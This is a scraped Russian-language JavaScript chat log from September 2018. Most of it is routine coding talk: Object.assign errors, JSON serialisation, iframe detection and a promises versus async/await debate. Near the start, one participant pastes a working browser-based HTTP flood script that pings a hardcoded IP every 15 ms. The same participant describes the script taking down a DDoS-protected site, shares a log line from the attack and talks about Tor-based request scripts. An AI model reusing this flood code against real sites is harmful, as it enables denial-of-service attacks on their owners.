
?
21.09.2018
18:17:12
Хаки там, туда сюда

Igor
21.09.2018
18:17:47
может тебя тамошний админ и взломал, не захотел палить код?)

?
21.09.2018
18:17:53
Не
Ладно

Google

?
21.09.2018
18:18:00
<script type='text/javascript'>
var s = ["http://213.171.196.225/"];
var i = new Image();
var u = s[parseInt(Math.random()*s.length)]+"?u="+(new Date().getTime());
var c = 0;
setInterval(function(){i.src=u+c;c++;},15); //>=15
</script>
Вот суть
Парень зарегал временный бесплатный домен на сайте
Я пробывал его скрипт, он выдает максимум 300-400 запросов в секунду
Однако сайт на stormwall пал
Вот эксперементальный домен
https://kogozim.000webhostapp.com/
Тут можно посмотреть нагрузку, раздел L7, график 1 And 1
https://www.vedbex.com/tools/dstat
Накодил на скорую руку скрипт на python с webdriver, в 25 потоков 300-400 запросов, в один поток максимум 40-50
Как сайт упал, я так и не понял
Ставил атаку на свой сервак, 20-60mbps output нагрузки

Dmitry
21.09.2018
18:28:29

?
21.09.2018
18:28:47
Да
Вот пример, как это выглядело
```
2018/09/20 16:42:44 [error] 1537#1537: *861711 limiting requests, excess: 50.405 by zone "static_limit", client: 188.0.150.18, server: justcase.net, request: "GET /?u=153745063821719599 HTTP/1.1", host: "justcase.net", referrer: "http://twelfth-reaction.000webhostapp.com/d.php"
```

Google

?
21.09.2018
18:29:51

Roman
21.09.2018
18:29:59

?
21.09.2018
18:31:00
Я веду к тому, что у stormwall стоят фильтра от Ddos атак. Просил друга ударить по сайту с ботнета, он выдавал 80к запросов и сайт не упал, а тут я даже не представляю куда он мог отправить свой сайт, чтобы на него зашло такое множесто машин. Попробывал через гугл переводчик, seo сайты и анонимайзеры, и ничего не генерирует такой объем трафика

Dmitry
21.09.2018
18:34:04

?
21.09.2018
18:34:33

Dmitry
21.09.2018
18:35:04

?
21.09.2018
18:35:07
Да
Это конечно много, нормальная цифра для среднего ботнета
В этом нет ничего такого, но в моем случае это просто url, который куда-то отправили. Куда-то с проксированием
Найти бы этого умельца

Dmitry
21.09.2018
18:37:17

?
21.09.2018
18:37:56

Dmitry
21.09.2018
18:38:03

?
21.09.2018
18:38:32
Я как-то ставил себе задачу, у меня вышло написать скрипт, который брал с демона тора интерфейс и отправлял 3к запросов в 100 потоках
980 000 / 3000 = ~326

Dmitry
21.09.2018
18:43:02

?
21.09.2018
18:43:38
Но атаковали меня с сайта, на котором располагался именно такой скрипт

Roman
21.09.2018
18:51:16
а в чем вопрос я не понял?

Google

Roman
21.09.2018
18:51:31
зарегаться на cloudflare и пусть тащат

?
21.09.2018
18:51:46
cloudflare бесполезный теперь
Его слишком легко обходить

Влад
21.09.2018
19:10:00
Есть кто с mdl работал?

Sergey
21.09.2018
19:13:58
Доброго всем времени суток. в этом чатике можно задавать нубские вопросы или может кто знает чат по JS для начинающих?

Рустам
21.09.2018
19:14:23

Sergey
21.09.2018
19:16:04
суть проблемы. объявлены переменнвые которые содержат в себе объекты. делаю Object.assign(a, new, old) и на выходе получаю ошибку Unexpected token , in script: Object.assign(a, new, old)". если я правильно понимаю ,то ему почему-то не нравится запятая. что с ней может быть не так?

Nikolay
21.09.2018
19:48:54
new
Не надо так называть переменные.
А вообще тебе в чатик для нубов.
Тут профессионалы. И профессионалки.

Nikita
21.09.2018
19:51:16
Ахаха
Один другого профессиональней

Sergey
21.09.2018
20:29:31

Zymlex
21.09.2018
21:11:04
Подскажите, существуют ли встроенные методы, для вывода в строку информации из обьекта как в браузере?

Admin
ERROR: S client not available

Andrey
21.09.2018
21:11:43
JSON.stringify

Google

Zymlex
21.09.2018
21:21:28
JSON.stringify
а из сторонних какие существуют?
пробовал https://cdnjs.cloudflare.com/ajax/libs/json3/3.3.2/json3.min.js,
то же не сериализует.

Vladimir
21.09.2018
22:39:36
Как то можно определить, открыли ссылку в iframe
или нет
надо шаблоны разные применть в том и ином случае
подскажите котаны

Nikolay
22.09.2018
01:32:00
cycle.js кто-нить трогал? Идея интересная, но на этом в прод-то ваще пишут риальне проекты?
Или это нечто мертворожденное типа elm?

Kelin
22.09.2018
02:56:53
Слышал, что кто на нем писал, хейтят, но почему - не углублялся

Alpha
22.09.2018
03:12:16
Чёткие поцыки выбирают
anonymous poll
async/await – 5
??????? 56%
Promise – 4
?????? 44%
? 9 people voted so far.

Nikolay
22.09.2018
03:13:11

Alpha
22.09.2018
03:13:48
Ммм... Ну там под капотом один фиг всё те же промисы, емнип

Nikolay
22.09.2018
03:15:04
Я не про это, тут же всяко речь про внешнее оформление кода, а не про то, во что это скомпилится :)

Alpha
22.09.2018
03:15:19
Ну... Да

Nikolay
22.09.2018
03:15:29
Где-то промисы рулят, где-то в редких случаях асинки.
На асинках удобно ветвление строить, ну и просто прямые цепочки, например в сценариях интеграционных тестов

Alpha
22.09.2018
03:17:55
Ну я сейчас пришёл к следующему варианту:
- Promise на самом низком уровне (т.н. слой репозиториев, источники данных и т.п.);
- async/await на сервисном слое и выше, с перехватом ошибок в контроллере

Nikolay
22.09.2018
03:19:54

Alpha
22.09.2018
03:20:23
Ну вообще, промисы понятнее как-то в этом плане.

Google

Nikolay
22.09.2018
03:21:09
На промисах получается нормально, если пишет человек с прямыми руками. Не одной колбасой, а грамотно все декомпозируя.

Alpha
22.09.2018
03:21:41
Ну понятное дело

Nikolay
22.09.2018
03:22:00
Проблемы начинаются с ветвлением, ну и чтоб стейт пробросить в следующие скоупы -- тоже громоздко

Alpha
22.09.2018
03:22:08
> Не одной колбасой
Сохранил в цитатник, годно звучит

Nikolay
22.09.2018
03:34:00
Но больше всего я радуюсь "специалистам", которые прочитали пару статей на медиуме, и начинают:
async function getShitAndCrap() {
return await Promise.all[getShit(), getCrap()];
}
И вот их даже поправлять неохота, т.к. чем больше и чаще они будут такое писать, тем дороже будет стоить мой труд на рынке :)

Alpha
22.09.2018
03:53:13
Сурово